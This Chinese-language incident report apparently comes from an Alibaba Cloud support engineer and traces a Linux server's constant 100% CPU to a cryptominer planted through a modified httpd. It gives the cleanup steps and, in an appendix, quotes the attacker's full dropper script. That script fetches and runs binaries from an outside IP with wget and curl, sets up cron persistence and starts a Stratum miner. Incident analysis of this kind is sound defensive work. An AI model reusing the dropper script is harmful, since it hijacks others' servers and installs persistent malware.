Linux系统cpu 100%修复案例
Linux系统cpu 100%修复案例
阿里云技术支持团队:完颜镇江
案例背景:
Linux主机连续三天CPU%
处理思路:
1、 登录服务器查看/var/log/messages+/var/log/messages.1+/var/log/messages.3里恰好没那三天的日志
2、 dmesg里也无有用的信息
3、 至此怀疑是被攻击了,自然而然的去看对应时间点的带宽占用情况,查看之后发现带宽一切正常,继续排查
4、 怀疑是某个程序的异常,首先的从web进程开始查,通过httpd的erorr_log发现了异常的现象,httpd程序被修改过,执行的脚本就是附录的shell脚本
2014-09-0319:19:50 (124 KB/s) - “plm” saved [26587/26587]
FINISHED--2014-09-03 19:19:50--
Downloaded:1 files, 26K in 0.2s (124 KB/s)
+ perlplm
+ rm -rfplm
+ chmod+x apache
+ chmod+x apache-ssl
++ ps x
++ grep-v grep
++ awk'{print $1}'
++ grep stratum
+ kill -9
kill:usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l[sigspec]
+ killall-9 kav m32 m64 apache apache-ssl
kav: noprocess killed
m32: noprocess killed
m64: noprocess killed
apache:no process killed
apache-ssl:no process killed
+ PATH=.
+ apache-c httpd.conf
a.sh:./apache: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
[root@iZ23vqwi2k5Z~]# + PATH=.
+apache-ssl -c httpd.conf
[2014-09-0319:19:50] Starting Stratum on stratum+tcp://80.240.137.183:3333/
[2014-09-0319:19:50] 2 miner threads started, using 'scrypt' algorithm.
[2014-09-0319:19:50] Binding thread 0 to cpu 0
[2014-09-0319:19:50] Binding thread 1 to cpu 1
[2014-09-0319:19:51] Stratum detected new block
[2014-09-0319:20:02] Stratum detected new block
[2014-09-03 19:22:53] Stratum detected new block
5、 在阿里云的测试机器上,通过运行这个脚本,测试运行的过程中cpu持续100%,httpd的error_log的内容和客户机器上的基本一致,(看来是基本功没做好的黑客,屁股没擦干净)至此已经完全定位问题,怀疑是服务器web程序被修改拿来干坏事(怀疑挖矿)
6、 清除异常进程的的思路,按照脚本内容做大致的推测
(1)、首先想到的是删除异常目录文件
# rm -rf /dev/shm/*(删除)
(2)、ps到具体的进程kill掉
#Ps aux|grep apche
#root 1615 199 0.1 314992 4200 pts/0 Sl 19:19 37:38 apache-ssl -chttpd.conf
#pkill -9 apache
#ps aux|grep apache|awk '{print $2}'|xargs kill -9(删除恶意进程)
(3)、以上操作执行之后发现异常目录文件再次生成,apache-ssl进程再次启动,查看脚本里有对cron的操作,把cron清空,再次执行之上的动作就可以了
# crontab –l
* * * * * /dev/shm/update >/dev/null 2>&1
(4)、试着重新启动httpd进程,发现失败,查看日志是配置文件的异常,查看httpd.conf出现bak的备份文件,良心黑客啊,干坏事不忘记先给客户备份文件。
# pwd
/alidata/server/httpd/conf
# cp httpd.conf.bak httpd.conf
# /etc/init.d/httpd start(此步骤httpd进程恢复)
7、 附录恶意用户的shell内容
#!/bin/sh
crontab-r
cd/dev/shm
rm -rf a*c* update*
pwd >mech.dir
dir=$(catmech.dir)
echo"* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontabcron.d
crontab-l | grep update
wget 173.255.212.191/update>> /dev/null &&
curl -Ohttp://173.255.212.191/update >> /dev/null &&
chmod u+xupdate
#chattr-ia bash
#chattr-ia *
curl -Ohttp://173.255.212.191/apache
curl -Ohttp://173.255.212.191/apache-ssl
crul -Ohttp://173.255.212.191/httpd.conf
wget173.255.212.191/httpd.conf
wgethttp://173.255.212.191/apache
wgethttp://173.255.212.191/apache-ssl
wget wgethttp://173.255.212.191/plm
perl plm
rm -rfplm*
chmod +xapache
chmod +xapache-ssl
#kill -9`ps x|grep miner|grep -v grep|awk '{print $1}'`
kill -9`ps x|grep stratum|grep -v grep|awk '{print $1}'`
killall-9 kav m32 m64 apache apache-ssl
PATH="."apache -c httpd.conf &
PATH="."apache-ssl -c httpd.conf &
#chattr+ia bash
#chattr +ia sh
处理的思路是这样的,比较彻底的是备份数据重置系统(推荐的做法)
Linux系统cpu 100%修复案例的更多相关文章
- linux系统CPU,内存,磁盘,网络流量监控脚本
前序 1,#cat /proc/stat/ 信息包含了所有CPU活动的信息,该文件中的所有值都是从系统启动开始累积到当前时刻 2,#vmstat –s 或者#vmstat 虚拟内存统计 3, #cat ...
- Java获取Linux系统cpu使用率
原文:http://www.open-open.com/code/view/1426152165201 import java.io.BufferedReader; import java.io.Fi ...
- linux Kernell crash dump------kdump 的安装设置+Linux系统崩溃的修复解决过程+mysql+kvm
http://www.ibm.com/developerworks/cn/linux/l-cn-dumpanalyse/https://www.kernel.org/pub/linux/utils/k ...
- Linux系统CPU相关信息查询
Linux系统CPU相关信息查询 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.lscpu常用参数介绍 1>.查看帮助信息 [root@node105 ~]# lscpu ...
- C/C++获取Linux系统CPU和内存及硬盘使用情况
需求分析: 不使用Top df free 等命令,利用C/C++获取Linux系统CPU和内存及硬盘使用情况 实现: //通过获取/proc/stat (CPU)和/proc/meminfo(内存 ...
- 关于linux系统CPU篇--->不容易发现的占用CPU较高进程
1.系统的CPU使用率,不仅包括进程用户态和内核态的运行,还包括中断处理,等待IO以及内核线程等等.所以,当你发现系统的CPU使用率很高的时候,不一定能找到相对应的高CPU使用率的进程 2.案例分析, ...
- 云服务器 ECS Linux 系统 CPU 占用率较高问题排查思路
https://help.aliyun.com/knowledge_detail/41225.html?spm=5176.7841174.2.2.ifP9Sc 注意:本文相关配置及说明已在 CentO ...
- 关于linux系统CPU篇--->CPU使用率升高
1.CPU使用率为单位时间内CPU使用情况的统计,以百分比的方式展示. LINUX作为一个多任务操作系统,将每个CPU的时间划分为很短的时间片,再通过调度器轮流分配给各个任务使用,因此造成多任务同时运 ...
- 关于linux系统CPU篇--->上下文切换
1.什么是CPU上下文切换? linux是一个多任务操作系统,它支持远大于CPU数量的任务同时运行,当然这些任务实际上并不是真的同时在运行,而是因为系统在很短的时间内,将CPU轮流分配给它们,造成多任 ...
随机推荐
- socket对于大数据的发送和接收
大数据是指大于32K或者64K的数据. 大数据的发送和接收通过TSTREAM对象来进行是非常方便的. 我们把大数据分割成一个个4K大小的小包,然后再依次传输. 一.大数据的发送的类语言描述: 1)创建 ...
- Memcached 实例
建立Manager类 package com.alisoft.sme.memcached; import java.util.Date; import com.danga.MemCached.MemC ...
- thinkphp框架 查询语言
thinkphp框架 查询语言 EQ 等于 (=) NEQ 不等于 (!=) GT 大于 (>) EGT 大于等于 (>=) LT ...
- 阿里聚安全攻防挑战赛第三题Android PwnMe解题思路
阿里聚安全攻防挑战赛第三题Android PwnMe解题思路 大家在聚安全挑战赛正式赛第三题中,遇到android app 远程控制的题目.我们今天带你一探究竟,如何攻破这道题目. 一.题目 购物应用 ...
- contentWindow 和contentDocument区别 及iframe访问
a>contentWindow 兼容各个浏览器,可取得子窗口的 window 对象. b>contentDocument Firefox 支持,> ie8 的ie支持.可取得子窗口的 ...
- 函数 MultiByteToWideChar() 详解
函数原型: int MultiByteToWideChar( UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cchMultiByte ...
- yum update Transaction Check Error
update系统时,发现其中一台server居然提示: Transaction Check Error:file /usr/lib/perl5/5.8.8/CGI.pm from install of ...
- JavaScript 跨域:window.postMessage 实现跨域通信
JavaScript 跨域方式实现方式有很多,之前,一篇文章中提到了 JSONP 形式实现跨域.本文将介绍 HTML5 新增的 api 实现跨域:window.postMessage . 1 othe ...
- ASP.NET加载主题和皮肤样式的各种方式
一.加载主题(皮肤.样式表)的多种方式 除了在页面指令中采用Theme或者StylesheetTheme为单个页面加载主题外,还可以通过配置文件为多个页面批量加载主题,另外,还可以通过改变页面的The ...
- SetWindowsHookEx 相关
SetWindowsHookEx function https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85) ...